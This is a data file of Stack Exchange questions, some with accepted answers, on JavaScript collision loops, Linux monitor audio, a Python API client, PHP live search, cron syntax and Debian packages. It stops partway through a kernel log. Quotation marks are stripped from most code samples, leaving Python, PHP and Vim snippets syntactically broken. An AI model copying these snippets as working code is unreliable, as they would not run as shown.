{  "id": "_codereview.86168"  , "question": "I have a code snippet which I wish to improve to increase my program's FPS, but as a beginner in JavaScript, I do not know how. I know the problem, which is the fact my counter mechanism used to delay attacks is causing lag. I just don't know how to change my code to minimize this lag. I am looking for helpful criticism and code examples to improve my code.I am going to provide the entire function my code snippet is in so you can relate to it. (I have been told this will help debuggers elsewhere.)The function to optimize:var updateMobs = function() { // Called in a loop at 30 FPS    for (var b = 0; b < mobsBlue.length; b++) { // The length of both lists is at max 60        BM = mobsBlue[b]        BM.x = BM.x - BM.object.speed        doCollision(BM, redBase, BM)        doCollision(BM, debugPlayer, BM)        if (BM.x < 0){            mobsBlue.splice(br, 1)        }        BM.Draw(ctx, false)    }    for (var r = 0; r < mobsRed.length; r++) {        RM = mobsRed[r]        RM.x = RM.x + RM.object.speed        doCollision(RM, blueBase, RM)        doCollision(RM, debugPlayer, RM)        if (RM.x > 1350){            mobsRed.splice(r, 1)        }        RM.Draw(ctx, false)        for (var br = 0; br < mobsBlue.length; br++) {            BM = mobsBlue[br]            if (doCollision(RM, BM, collisionNull) == true) { // ATTACKING                BM.x = BM.x + BM.object.speed                RM.x = RM.x - RM.object.speed                if (BM.object.attackTime == 500 || RM.object.attackTime == 500) {                    if (BM.object.armourType == 'light') {                        BM.object.health = BM.object.health - RM.object.lightDamage                    }                     if (BM.object.armourType == 'heavy') {                        BM.object.health = BM.object.health - RM.object.heavyDamage                    }                    if (RM.object.armourType == 'light') {                        RM.object.health = RM.object.health - BM.object.lightDamage                    }                    if (RM.object.armourType == 'heavy') {                        RM.object.health = RM.object.health - BM.object.heavyDamage                    }                    if (BM.object.health <= 0) {                        mobsBlue.splice(br, 1)                    }                    if (RM.object.health <= 0) {                        mobsRed.splice(r, 1)                    }                    BM.object.attackTime = 0                    RM.object.attackTime = 0                }                BM.object.attackTime = BM.object.attackTime + 1                RM.object.attackTime = RM.object.attackTime + 1            }            BM.Draw(ctx, false)            RM.Draw(ctx, false)        }    }}The doCollision and moveOutside functions:var doCollision = function(rect1, rect2, objectToMove) {    if (rect1.x + rect1.w > rect2.x &&        rect1.x < rect2.x + rect2.w &&        rect1.y + rect1.h > rect2.y &&        rect1.y < rect2.y + rect2.h) {        if (objectToMove === rect1) {            moveOutside(objectToMove, rect2);            return true        } else if (objectToMove === rect2) {            moveOutside(objectToMove, rect1);            return true        }        return true    };};var moveOutside = function(rectToMove, otherRect) {    // Determine if the overlap is due more to x or to y,    // then perform the appropriate move    var moveOverOtherX = rectToMove.x + rectToMove.w - otherRect.x;    var otherOverMoveX = otherRect.x + otherRect.w - rectToMove.x;    var moveOverOtherY = rectToMove.y + rectToMove.h - otherRect.y;    var otherOverMoveY = otherRect.y + otherRect.h - rectToMove.y;    var minOver = Math.min(moveOverOtherX, otherOverMoveX, moveOverOtherY, otherOverMoveY);    if (minOver == moveOverOtherX) {        rectToMove.x = otherRect.x - rectToMove.w;    } else if (minOver == otherOverMoveX) {        rectToMove.x = otherRect.x + otherRect.w;    } else if (minOver == moveOverOtherY) {        rectToMove.y = otherRect.y - rectToMove.h;    } else {        rectToMove.y = otherRect.y + otherRect.h;    };};I am looking for more answers."  , "title": "FPS efficiency for 'attack counter'"  , "tags": "javascript;beginner;performance;collision;battle simulation"  } 
{  "id": "_unix.361241"  , "question": "I have a Dell U2417HA monitor that came with my Dell Desktop. The monitor has an audio output and from what I've read the audio is supposed to come through the HDMI cable and I should be able to plug my earphones directly in the monitor's output. The problem is that this doesn't happen, probably because I installed Linux Mint 18 on the desktop.Unfortunately, the Dell website only lists windows drivers for this monitor, and I haven't been able to find this topic on the internet. Any ideas?PS.: I have already switched to HDMI output on the sound configurations menu, and tried every possible option in pavucontrol.I have the default 4.4 kernel installed. I don't know if upgrading the kernel to 4.10 might solve the problem, but I'd like to avoid doing this unless there really isn't another solution.EDITI just found out that I'm actually using a DP connection for the monitors, since I don't have an HDMI port in my CPU (I didn't install this computer). But according this answer DP also carries audio. So can I still get sound through my monitor?EDIT2Output of xrandr:Screen 0: minimum 8 x 8, current 3840 x 1080, maximum 16384 x 16384DP-0 disconnected (normal left inverted right x axis y axis)DP-1 disconnected (normal left inverted right x axis y axis)DP-2 connected primary 1920x1080+0+0 (normal left inverted right x axis y axis) 527mm x 296mm   1920x1080     60.00*+  60.00    59.94    50.00    23.97    60.05    60.00    50.04     1600x1200     60.00     1280x1024     75.02    60.02     1280x720      60.00    59.94    50.00     1152x864      75.00     1024x768      75.03    60.00     800x600       75.00    60.32     720x576       50.00     720x480       59.94     640x480       75.00    59.94    59.93  DP-3 connected 1920x1080+1920+0 (normal left inverted right x axis y axis) 527mm x 296mm   1920x1080     60.00*+  60.00    59.94    50.00    23.97    60.05    60.00    50.04     1600x1200     60.00     1280x1024     75.02    60.02     1280x720      60.00    59.94    50.00     1152x864      75.00     1024x768      75.03    60.00     800x600       75.00    60.32     720x576       50.00     720x480       59.94     640x480       75.00    59.94    59.93  Output from aplay -l**** List of PLAYBACK Hardware Devices ****card 0: PCH [HDA Intel PCH], device 0: ALC3220 Analog [ALC3220 Analog]  Subdevices: 1/1  Subdevice #0: subdevice #0card 1: NVidia [HDA NVidia], device 3: HDMI 0 [HDMI 0]  Subdevices: 1/1  Subdevice #0: subdevice #0card 1: NVidia [HDA NVidia], device 7: HDMI 1 [HDMI 1]  Subdevices: 1/1  Subdevice #0: subdevice #0EDIT3Contents from /proc/asound/card0/codec#0 and from /proc/asound/card1/codec#0. The latter one is probably the one that matters (NVIDIA)."  , "title": "Sound output from Dell U2417HA monitor doesn't work on Linux"  , "tags": "linux mint;drivers;audio"  } 
{  "id": "_codereview.173049"  , "question": "I'd like some feedback on the readability, style, and potential problems or issues. In particular I'm not too happy with how I handle ratelimits.import jsonimport requestsimport pandas as pdimport matplotlib.pyplot as pltfrom dateutil.relativedelta import relativedeltafrom datetime import datefrom flatten_json import flattenfrom tqdm import tnrange as trangefrom time import sleepclass CrimsonHexagonClient(object):    Interacts with the Crimson Hexagon API to retrieve post data (twitter ids    etc.) from a configured monitor.    Docs:        https://apidocs.crimsonhexagon.com/v1.0/reference     Args:        username (str): Username on website.        password (str): Password on website.        monitor_id (str): id of crimson monitor.        def __init__(self, username, password, monitor_id):        self.username = username        self.password = password        self.monitor_id = monitor_id        self.base = 'https://api.crimsonhexagon.com/api/monitor'        self.session = requests.Session()        self.ratelimit_refresh = 60        self._auth()    def _auth(self):        Authenticates a user using their username and password through the        authenticate endpoint.                url = 'https://forsight.crimsonhexagon.com/api/authenticate?'        payload = {            'username': self.username,            'password': self.password        }        r = self.session.get(url, params=payload)        j_result = r.json()        self.auth_token = j_result[auth]        print('-- Authenticated --')        return    def make_endpoint(self, endpoint):        return '{}/{}?'.format(self.base, endpoint)    def get_data_from_endpoint(self, from_, to_, endpoint):        Hits the designated endpoint (volume/posts) for a specified time period.        The ratelimit is burned through ASAP and then backed off for one minute.                endpoint = self.make_endpoint(endpoint)        from_, to_ = str(from_), str(to_)        payload = {            'auth': self.auth_token,            'id': self.monitor_id,            'start': from_,            'end': to_,            'extendLimit': 'true',            'fullContents': 'true'        }        r = self.session.get(endpoint, params=payload)        self.last_response = r        ratelimit_remaining = r.headers['X-RateLimit-Remaining']        # If the header is empty or 0 then wait for a ratelimit refresh.        if (not ratelimit_remaining) or (float(ratelimit_remaining) < 1):            print('Waiting for ratelimit refresh...')            sleep(self.ratelimit_refresh)        return r    def get_dates_from_timespan(self, r_volume, max_documents=10000):        Divides the time period into chunks of less than 10k where possible.                # If the count is less than max, just return the original time span.        if r_volume.json()['numberOfDocuments'] <= max_documents:            l_dates = [[pd.to_datetime(r_volume.json()['startDate']).date(),                       pd.to_datetime(r_volume.json()['endDate']).date()]]            return l_dates        # Convert json to df for easier subsetting & to calculate cumulative sum.        df = pd.DataFrame(r_volume.json()['volume'])        df['startDate'] = pd.to_datetime(df['startDate'])        df['endDate'] = pd.to_datetime(df['endDate'])        l_dates = []        while True:            df['cumulative_sum'] = df['numberOfDocuments'].cumsum()            # Find the span whose cumulative sum is below the threshold.            df_below = df[df['cumulative_sum'] <= max_documents]            # If there are 0 rows under threshold.            if (df_below.empty):                # If there are still rows left, use the first row.                if len(df) > 0:                    # This entry will have over 10k, but we can't go more                    # granular than one day.                    df_below = df.iloc[0:1]                else:                    break            # Take the first row's start date and last row's end date.            from_ = df_below['startDate'].iloc[0].date()            to_ = df_below['endDate'].iloc[-1].date()            l_dates.append([from_, to_])            # Reassign df to remaining portion.            df = df[df['startDate'] >= to_]        return l_dates    def plot_volume(self, r_volume):        Plots a time-series chart with two axes to show the daily and cumulative        document count.                # Convert r to df, fix datetime, add cumulative sum.        df_volume = pd.DataFrame(r_volume.json()['volume'])        df_volume['startDate'] = pd.to_datetime(df_volume['startDate'])        df_volume['endDate'] = pd.to_datetime(df_volume['endDate'])        df_volume['cumulative_sum'] = df_volume['numberOfDocuments'].cumsum()        fig, ax1 = plt.subplots()        ax2 = ax1.twinx()        df_volume['numberOfDocuments'].plot(ax=ax1, style='b-')        df_volume['cumulative_sum'].plot(ax=ax2, style='r-')        ax1.set_ylabel('Number of Documents')        ax2.set_ylabel('Cumulative Sum')        h1, l1 = ax1.get_legend_handles_labels()        h2, l2 = ax2.get_legend_handles_labels()        ax1.legend(h1+h2, l1+l2, loc=2)        plt.show()        return    def make_data_pipeline(self, from_, to_):        Combines the functionsin this class to make a robust pipeline, that         loops through each day in a time period. Data is returned as a dataframe.                # Get the volume over time data.        r_volume = self.get_data_from_endpoint(from_, to_, 'volume')        print('There are approximately {} documents.'.format(r_volume.json()['numberOfDocuments']))        self.plot_volume(r_volume)        # Carve up time into buckets of volume <10k.        l_dates = self.get_dates_from_timespan(r_volume)        data = []        for i in trange(len(l_dates), leave=False):            from_, to_ = l_dates[i]            # Pull posts.            r_posts = self.get_data_from_endpoint(from_, to_, 'posts')            if r_posts.ok and (r_posts.json()['status'] != 'error'):                j_result = json.loads(r_posts.content.decode('utf8'))                data.extend(j_result['posts'])        l_flat= [flatten(d) for d in data]        df = pd.DataFrame(l_flat)        return dfif __name__ == __main__:    # Credentials.    username = 'xxxxx'    password = 'xxxxx'    # Monitor id - taken from URL on website.    monitor_id = '123'    # Instantiate client.    crimson_api = CrimsonHexagonClient(username, password, monitor_id)    from_ = date(2017, 1, 1)    to_   = date(2017, 6, 30)    # Combine class functions into a typical workflow.    df = crimson_api.make_data_pipeline(from_, to_)"  , "title": "Python API for Crimson Hexagon"  , "tags": "python;api;pandas"  , "accepted_answer": "Readability & StyleImportsRemove the modules that you're not using (dateutil).Imports should be grouped in the following order:standard library importsrelated third party importslocal application/library specific importsCode layoutYou should surround top-level function and class definitions with two blank lines.  Whitespace in Expressions and StatementsAvoid extraneous whitespaces before/after any operator (in your case, =) and between two lines of code.CommentsYou have some comments which doesn't add any value to your code. Get rid of them. (E.g: # Credentials., # Instantiate client.)Should you use OOP ?You've created all your code by using a class but you didn't actually make use of it. 80% of your methods are static which makes me think you shouldn't need to use a class . Try to reorganise your code by splitting it into smaller functions and create classes only if you need to communicate state between your methods or you need one of the OOP principles (inheritance, polymorphism etc). PS: As a side note, this is entirely subjective More on the codeYou're not using self.last_response anywhere. Remove it.In _auth and plot_volume methods, the return statement is redundant. Remove it.In make_data_pipeline method, don't create useless variables. Instead, you can directly return pd.DataFrame(l_flat).You don't need parentheses here: if (df_below.empty).You should really add some try/except blocks at least when you're authenticating against the API and let the user know if something went wrong or not."  } 
{  "id": "_webmaster.104344"  , "question": "Hi i have been wondering on how to make a live search on my movie website and im trying to do it without a database. So i decided to go with php and xml. These are my code so far. please help me fix this error.this is my errorload(movie.xml); $x=$xmlDoc->getElementsByTagName('movie'); //get the q parameter from URL $q=$_GET[q]; //lookup all links from the xml file if length of q>0 if (strlen($q)>0) { $hint=; for($i=0; $i<($x->length); $i++) { $y=$x->item($i)->getElementsByTagName('title'); $z=$x->item($i)->getElementsByTagName('genre'); if ($y->item(0)->nodeType==1) { //find a link matching the search text if (stristr($y->item(0)->childNodes->item(0)->nodeValue,$q)) { if ($hint==) { $hint= . $y->item(0)->childNodes->item(0)->nodeValue . ; } else { $hint=$hint .  . $y->item(0)->childNodes->item(0)->nodeValue . ; } } } } } // Set output to no suggestion if no hint was found // or to the correct values if ($hint==) { $response=no suggestion; } else { $response=$hint; } //output the response echo $response; ?>this is my xml movie file http:// webdam.inria.fr / Jorge / files / movies.xmlThis is my html code. file name: livesearch.htmlThis is my php code: getmovie.php"  , "title": "How to fix xml and php live search"  , "tags": "html;php;search;error;xml"  } 
{  "id": "_cstheory.33488"  , "question": "I'm self-studying turbo codes for a graduate course in coding theory. I understood how turbo codes works by directly reading Berrou' paper and some of the following works on this topic. Given that, there is a simple question that i canno't answer with my self...Turbo code relies on the fundamental principle of message passing during iterative decoding, more formally speaking the extrinsic information produced by one decoder is passed as a-priori information to the next (companion) decoder. This is my problematic point: why extrinsic information, that is an a-posteriori computation (given from the Log-likelihood-ratio) should be passed as an a-priori information the next decoder?The LLR can be expressed as:$$L(u_i)=\\log\\frac{P(u_i=1|\\text{observation})}{P(u_i=0|\\text{observation})}=\\log\\frac{p(obs.|u_i=1)}{p(obs.|u_i=0)}+\\log\\frac{P(u_i=0)}{P(u_i=1)}$$What if the apriori knowledge of the source is known? For example...suppose a indipendent binary source, so that $P(0)=P(1)=1/2$. In this case there is no need to update the apriori knowledge because it is exactly equal to $0$, and extrinsic information is, in general, different from $0$, so the estimate is wrong at each step.Thanks in advance"  , "title": "Turbo codes and message passing"  , "tags": "it.information theory;message passing"  } 
{  "id": "_unix.16541"  , "question": "I need to go through all my css and js files and if there is a filename referenced that has any slashes (/) at all then the slash should be removed. What I want is:if any files referenced are named /file.jpg then remove the leading slash leaving just file.jpg. For example, in a CSS file change:  @import url(/base.css); to @import url(base.css);if the file referenced is named /files/file.jpg then the leading slashes and folder name should be removed leaving just file.jpg. I started to write it but then couldn't think about how to deal with the slashes.grep -o -h -E '[A-Za-z0-9:./_-]+\\.(png|jpg|gif|tif|css)' `find${new_directory} -name '*.css' -or -name '*.js'`Any idea how to do this? I am doing this using a .sh shell script. "  , "title": "Remove slashes/parent paths from filenames inside CSS and Javascript content"  , "tags": "shell;text processing;find"  } 
{  "id": "_webmaster.65746"  , "question": "I have a simple funnel situation. The users start at /start/ . Some of them reach the result at /result/ and obviously some don't.So it seems logical to me that:users who went to the start page  =  user who did see the result page afterwards+ user who did NOT see the result page afterwardsHowever my results areusers who went to the start page  <<  user who did see the result page afterwards  +  user who did NOT see the result page afterwardsuser who did see the result page afterwards  is smaller than users who went to the start page  and has about the same pageview ration as the API calls tell me.user who did NOT see the result page afterwards  is just 10% smaller than users who went to the start pageThe calls are run via the spreadsheet addin to the API.all three calls share these attributes:Metric: ga:usersno filterare for the last 30 daysSampling: HIGHER_PRECISIONThe segments differ for each callusers::sequence::ga:pagePath=~/start/$users::sequence::ga:pagePath=~/start/$;->>ga:pagePath=~/result/.*users::sequence::ga:pagePath=~/start/$;->>ga:pagePath!~/result/.*"  , "title": "Sum of completed and not completed doesn't add up correctly in the Google Analytics API"  , "tags": "google analytics;analytics api;regular expression"  } 
{  "id": "_codereview.70040"  , "question": "Looking at this Typeclassopedia exercise, I typed out foldTree on the following type:data ITree a = Leaf (Int -> a) | Node [ITree a]And my implementation of Functor:instance Functor (ITree) where    fmap = iTreeMapiTreeMap :: (a -> b) -> ITree a -> ITree biTreeMap f (Leaf x)  = Leaf $ fmap f x   iTreeMap f (Node xs) = Node $ map (iTreeMap f) xsPlease critique its signature, correctness and style. "  , "title": "Implementing Functor Instance for `ITree`"  , "tags": "haskell;tree"  } 
{  "id": "_unix.171054"  , "question": "By convention, our C++ headers live in .hpp files. When I open a gvim window with a .cpp file (so C++ source), then use the open menus, I get file chooser window which allows me to select files for:C++ Source Files (*.cpp, *.c++)C Header Files (*.h)C Source Files (*.c)All Files (*.*)Clearly, none of those will match just C++ Headers -- whatever the extension is. So, my question is: How do I create a new entry for C++ Header Files (*.hpp, *.h++)?Bonus: How do I add (*) to the All Files option? I guess this will be the same method as above."  , "title": "C++ header/source files in file chooser"  , "tags": "vim;gvim"  , "accepted_answer": "This can be configured via a buffer-local b:browsefilter variable, which is set in filetype plugins; for C/C++, $VIMRUNTIME/ftplugin/c.vim. To change / override this, just put the following into ~/.vim/after/ftplugin/cpp.vim:let b:browsefilter = C++ Source Files (*.cpp *.c++)\\t*.cpp;*.c++\\n .  \\ C Header Files (*.hpp, *.h++)\\t*.hpp;*.h++\\n .  \\ C Source Files (*.c)\\t*.c\\n .  \\ All Files (*.*)\\t*.*\\n"  } 
{  "id": "_datascience.11632"  , "question": "I'm totally new in machine learning. The first confusing concept is subspace. In multi label classification we have to share the subspace. What does one mean by that shared sub spaces?"  , "title": "What is a subspace and what is a shared subspace?"  , "tags": "machine learning;classification;statistics;multilabel classification"  } 
{  "id": "_unix.186294"  , "question": "I have an ssh-agent running on my local machine. I connect to a remote machine via SSH, with agent forwarding enabled. On that remote there is an instance of gpg-agent running.I know that recent versions of gpg-agent (2.1+) have the command-line flag --extra-socket which you can use have the agent retrieve not only the keys added to it, but also keys from a forwarded gpg-agent.However, I don't have gpg-agent running on my local machine; I have ssh-agent. Is there a way to have gpg-agent retrieve SSH keys from that forwarded ssh-agent?"  , "title": "How do I combine SSH agent forwarding and gpg-agent?"  , "tags": "gpg;ssh agent"  } 
{  "id": "_datascience.1090"  , "question": "It may be unlikely that anyone knows this but I have a specific question about Freebase.  Here is the Freebase page from the Ford Taurus automotive model .  It has a property called Related Models.  Does anyone know how this list of related models was compiled.  What is the similarity measure that they use?  I don't think it is only about other wikipedia pages that link to or from this page.  Alternatively, it may be that this is user generated.  Does anyone know for sure?"  , "title": "Freebase Related Models"  , "tags": "dataset"  } 
{  "id": "_unix.114192"  , "question": "This is with reference to sudo: apt-get: command not found. after removing some packages. This user managed to break his system by installing some packages from wheezy on a squeeze system - not sure why or how. In any case, he has at least two packages which are not fully installed, and are in the state iU (i.e. unpacked only). What is an efficient way to list all packages that are not fully installed, or, putting it differently, partially installed?This seems like something that might have already been asked, but a quick search did not uncover anything. If it is a duplicate, please close."  , "title": "Listing Debian packages which are not fully installed"  , "tags": "debian;dpkg"  , "accepted_answer": "From the dpkg man page  -C, --audit          Searches for packages that have been installed only partially on your system. dpkg will suggest what to do with them to get them working.So dpkg -C may work. However, I can't test this since I don't have any broken packages."  } 
{  "id": "_unix.230658"  , "question": "When I run yum install X, where X can be tomcat or any other package, whats the user and the permission on the packages it downloads ?"  , "title": "Permissions and user for yum download"  , "tags": "security;yum"  } 
{  "id": "_codereview.172379"  , "question": "I have to update user email and password if they are present in the params, I have other user information also which can be updated.this is the method I have written, but it doesn't seem like a good methoddef update    if user_params[:current_email].present?      if @current_user.has_valid_email?(user_params[:current_email])        @current_user.update(email: user_params[:new_email])      else        render json: {errors: [Current Email did not match!]}, status: :unprocessable_entity and return      end    end    if user_params[:current_password].present?       if @current_user.has_valid_password?(user_params[:current_password])        @current_user.update(password: user_params[:new_password])      else        render json: {errors: [Current Password did not match!]}, status: :unprocessable_entity and return      end    end    if @current_user.update(sanitized_params)      @web_user = @current_user      render :show    else      render json: {errors: @current_user.errors.full_messages}, status: :unprocessable_entity    end  endprivate  def sanitized_params    user_params.slice!(:current_email,:new_email,:current_password,:new_password)  end  def user_params    params.permit(:current_email, :new_email, :current_password, :new_password, :password_confirmation, :reminders_frequency,                  :coaching_style, :coaching_style_status,:suggestion_preference,:language,:region)  end"  , "title": "Refactored code for updating user password, email and other info"  , "tags": "ruby;ruby on rails"  } 
{  "id": "_webmaster.108935"  , "question": "I want to know what are the Google Analytics events related to users that are coming frequently i.e. more than 5 times to my website. Google Analytics tells the count of sessions related to the frequency of users (under Behavous> frequency & recency tab) but there is no way to know what are the actions done by the high-frequency users."  , "title": "What are the events related to high-frequency users?"  , "tags": "google analytics"  } 
{  "id": "_reverseengineering.3865"  , "question": "I'm trying to catch epilogue/prologue of functions in IDApython. Anyone got clue/snippet/algorithm of how should I do this?"  , "title": "Detecting epilogue/prologue of functions"  , "tags": "ida;idapro plugins;idapython;static analysis;functions"  } 
{  "id": "_webapps.70477"  , "question": "Is there a way I can copy/paste or download old DM's from my iPhone 6? I can not see DM's as far back as I need on my computer."  , "title": "Download direct messages from Twitter"  , "tags": "twitter;twitter direct message"  } 
{  "id": "_unix.229078"  , "question": "I got a cron format like this:0 0 12 1/1 * ? *,How to read it and what does it mean.I understand things without slash but not this one."  , "title": "cron job with slash"  , "tags": "cron"  , "accepted_answer": "Slashes means step values (has to be something that the maximum value of the element in question is divisible by) in which the execution will take place. First value is the range, so say 0-30, and the second value is the frequency, so for example 5. If the value was 0-30/5 in the minutes column, it would execute every five minutes between the range of 0-30 minutes.Question marks mean whenever the first execution takes place, it'll grab the corresponding value for the element using a question mark, and will put the value at that time into it. This means, say you start the execution via cron for the first time on a Monday and the day of the week value is a ?, it'll change it to a Monday so it runs on Monday permanently.Quick run-down of the values: 0 - first column means on the 0 minute - this is what minute to execute.0 - second column means on the 0 hour - this is the hour of execution.12 - this is the 12th day of the month - this is the day of the month to execute.1/1 - this means it wants it to be executed once a month (right hand side 1), and the range is locked down to the first month (left hand side 1). If my understanding is correct, this is the same as having 1 alone.* - this is the value for the day of the week - having an asterisk means it'll be repeated every day of the week.This looks like it'll run at 00:00 on the 12th of the first month in the year, regardless of the day of the week.I'm not sure why there are seven values, as standard cron files only have five or six values from what I'm aware (sixth being the year, as viewable in the documentation below - but is not included in standard/default deployments of cron). I'd also suggest having a read through the documentation, as it's great reference material for learning how they are structured:https://en.wikipedia.org/wiki/Cron"  } 
{  "id": "_cogsci.165"  , "question": "What are the works/papers/results/theories any expert in cognitive science should know, even if they're outside his/her specific field of expertise?One paper/theory per answer please, and state why do you find this work important to know (and ideally, not just because it has lots of citations, or because everyone teach it at Cognitive Science 101)"  , "title": "What are the Must Know papers of Cognitive Science?"  , "tags": "cognitive psychology;reference request"  } 
{  "id": "_scicomp.7189"  , "question": "I am looking to port some code that resolves a set of partial differential equations (PDE) by the finite volume method in IMPLICIT form (for the time discretization).As result there is a tridiagonal system of equations in x,y,z directions which is handled by the ADI/TDMA scheme.I can not seem to find anything regarding implicit solution of PDEs with CUDA.Is the ADI/TDMA scheme possible to implement in CUDA?? Is there an example like 2D heat diffusion equation available somewhere??All I could find is a CUDA sample code for 2D heat diffusion equation in finite differences but in EXPLICIT form (University of Cambridge).Any hint/reference would be greatly appreciated."  , "title": "cuda and numerical methods with implicit time discretization"  , "tags": "parallel computing;implicit methods;cuda"  } 
{  "id": "_unix.215215"  , "question": "I was trying to install the normal map plugin for gimp, and I tried installing the package gimp-normalmap:i386 from the Software Manager on Linux Mint.  As I was installing it, I realized that it was removing a number of important packages.  One of my video editors, gimp, several python packages, and the cinnamon desktop environment.  I closed out of the Software Manager as fast as I could (because there wasn't an abort button), but it had already removed most of those packages.  It turns out that the package I was originally looking for was gimp-normalmap.  Now I can't adjust anything that has to do with my desktop environment and all the settings are missing.  What is the best way to restore all the packages removed by this software?  Also, cinnamon is offered as a package in the Software Manager.  Is it safe to install this?  Preferably, I would also like to get back all the python files it removed, and I can't figure out which ones it did even if I go back to the package in the software manager."  , "title": "How to restore packages removed by installing a program"  , "tags": "linux mint;software installation;apt"  , "accepted_answer": "I believe you can check what has been installed or uninstalled etc via the aptitude logs. You will need to be root or use sudo to view the log files.You can check the logs using this command:sudo cat /var/log/apt/term.logFor long log files u can pipe to more like this:sudo cat /var/log/apt/term.log | moreThen you can use space bar to page down, enter to go down 1 line at a time, and q to quit. There's lots more u can do via more. To learn more try and man, like this:man moreYou should be able to see what was uninstalled/removed. That way you can reinstall what you think you may need. Or just reinstall everything before you made that last change.If its been a while older logs are gzip'ed so u can go back in history as well. You will need to extract those before you can read them via cat or a text editor.Once you determine what was uninstalled you can reinstall them by using:sudo apt-get install --reinstall package1 package2package1 being one of the packages you saw in the log file, just list them all out using spaces between each one to install multiple packages at once."  } 
{  "id": "_unix.219921"  , "question": "I use Asterisk 11 in my Ubuntu Server 14.04, but I Have some problems with my Dahdi Driver, with conflits Please see the dmesg  (null) [   11.804460] Adding 2052092k swap on /dev/mapper/asterisk--vg-swap_1.  Priority:-1 extents:1 across:2052092k FS [   12.027643] systemd-udevd[327]: starting version 204 [   12.709180] lp: driver loaded but no devices found [   12.715263] parport_pc 00:02: reported by Plug and Play ACPI [   12.715315] parport0: PC-style at 0x378 (0x778), irq 7, using FIFO      [PCSPP,TRISTATE,COMPAT,ECP] [   12.812123] lp0: using parport0 (interrupt-driven). [   12.818748] mei_me 0000:00:03.0: irq 44 for MSI/MSI-X [   12.877965] Floppy drive(s): fd0 is 1.44M [   12.922603] ACPI Warning: SystemIO range 0x0000000000000828-0x000000000000082F conflicts with OpRegion 0x0000000000000828-0x000000000000082D (\\GLBC) (20140424/utaddress-254) [   12.922609] ACPI Warning: SystemIO range 0x0000000000000828-0x000000000000082F conflicts with OpRegion 0x000000000000082A-0x000000000000082A (\\SACT) (20140424/utaddress-254) [   12.922613] ACPI Warning: SystemIO range 0x0000000000000828-0x000000000000082F conflicts with OpRegion 0x0000000000000828-0x0000000000000828 (\\SSTS) (20140424/utaddress-254) [   12.922617] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver [   12.922621] ACPI Warning: SystemIO range 0x00000000000008B0-0x00000000000008BF conflicts with OpRegion 0x00000000000008B8-0x00000000000008BB (\\GIC2) (20140424/utaddress-254) [   12.922624] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver [   12.922626] ACPI Warning: SystemIO range 0x0000000000000880-0x00000000000008AF conflicts with OpRegion 0x000000000000088C-0x000000000000088F (\\GIC1) (20140424/utaddress-254) [   12.922630] ACPI: If an ACPI driver is available for this device, you should use it instead of the native driver [   12.922631] lpc_ich: Resource conflict(s) found affecting gpio_ich [   13.038153] shpchp: Standard Hot Plug PCI Controller Driver version: 0.4 [   13.117951] dcdbas dcdbas: Dell Systems Management Base Driver (version 5.6.0-3.2) [   13.216281] ppdev: user-space parallel port driver [   13.272719] audit: type=1400 audit(1438608815.729:2): apparmor=STATUS operation=profile_load profile=unconfined name=/sbin/dhclient pid=368 comm=apparmor_parser [   13.272726] audit: type=1400 audit(1438608815.729:3): apparmor=STATUS operation=profile_load profile=unconfined name=/usr/lib/NetworkManager/nm-dhcp-client.action pid=368 comm=apparmor_parser [   13.272732] audit: type=1400 audit(1438608815.729:4): apparmor=STATUS operation=profile_load profile=unconfined name=/usr/lib/connman/scripts/dhclient-script pid=368 comm=apparmor_parser [   13.272742] audit: type=1400 audit(1438608815.729:5): apparmor=STATUS operation=profile_replace profile=unconfined name=/sbin/dhclient pid=367 comm=apparmor_parser [   13.272749] audit: type=1400 audit(1438608815.729:6): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/NetworkManager/nm-dhcp-client.action pid=367 comm=apparmor_parser [   13.272755] audit: type=1400 audit(1438608815.729:7): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/connman/scripts/dhclient-script pid=367 comm=apparmor_parser [   13.273205] audit: type=1400 audit(1438608815.729:8): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/NetworkManager/nm-dhcp-client.action pid=368 comm=apparmor_parser [   13.273210] audit: type=1400 audit(1438608815.729:9): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/connman/scripts/dhclient-script pid=368 comm=apparmor_parser [   13.273227] audit: type=1400 audit(1438608815.729:10): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/NetworkManager/nm-dhcp-client.action pid=367 comm=apparmor_parser [   13.273233] audit: type=1400 audit(1438608815.729:11): apparmor=STATUS operation=profile_replace profile=unconfined name=/usr/lib/connman/scripts/dhclient-script pid=367 comm=apparmor_parser [   13.313689] [drm] Initialized drm 1.1.0 20060810 [   13.492498] kvm: disabled by bios [   13.674866] snd_hda_intel 0000:00:1b.0: irq 45 for MSI/MSI-X [   13.740542] r8169 0000:03:02.0 eth1: link down [   13.740557] r8169 0000:03:02.0 eth1: link down [   13.740587] IPv6: ADDRCONF(NETDEV_UP): eth1: link is not ready [   13.769644] Velocity is AUTO mode [   13.784400] coretemp coretemp.0: Using relative temperature scale! [   13.784413] coretemp coretemp.0: Using relative temperature scale! [   14.093137] [drm] Memory usable by graphics device = 512M [   14.093143] checking generic (d0000000 300000) vs hw (d0000000 10000000) [   14.093145] fb: switching to inteldrmfb from VESA VGA [   14.093183] Console: switching to colour dummy device 80x25 [   14.093311] [drm] Replacing VGA console driver [   14.116059] i915 0000:00:02.0: irq 46 for MSI/MSI-X [   14.116069] [drm] Supports vblank timestamp caching Rev 2 (21.10.2013). [   14.116070] [drm] Driver supports precise vblank timestamp query. [   14.116143] vgaarb: device changed decodes: PCI:0000:00:02.0,olddecodes=io+mem,decodes=io+mem:owns=io+mem [   14.117085] [drm] initialized overlay support [   14.164931] sound hdaudioC0D0: autoconfig: line_outs=1 (0x12/0x0/0x0/0x0/0x0) type:line [   14.164936] sound hdaudioC0D0:    speaker_outs=1 (0x13/0x0/0x0/0x0/0x0) [   14.164939] sound hdaudioC0D0:    hp_outs=1 (0x11/0x0/0x0/0x0/0x0) [   14.164941] sound hdaudioC0D0:    mono: mono_out=0x0 [   14.164943] sound hdaudioC0D0:    inputs: [   14.164945] sound hdaudioC0D0:      Mic=0x14 [   14.164947] sound hdaudioC0D0:      Line=0x15 [   14.172144] input: HDA Intel Mic as /devices/pci0000:00/0000:00:1b.0/sound/card0/input7 [   14.172977] input: HDA Intel Line as /devices/pci0000:00/0000:00:1b.0/sound/card0/input8 [   14.173069] input: HDA Intel Line Out as /devices/pci0000:00/0000:00:1b.0/sound/card0/input9 [   14.174879] input: HDA Intel 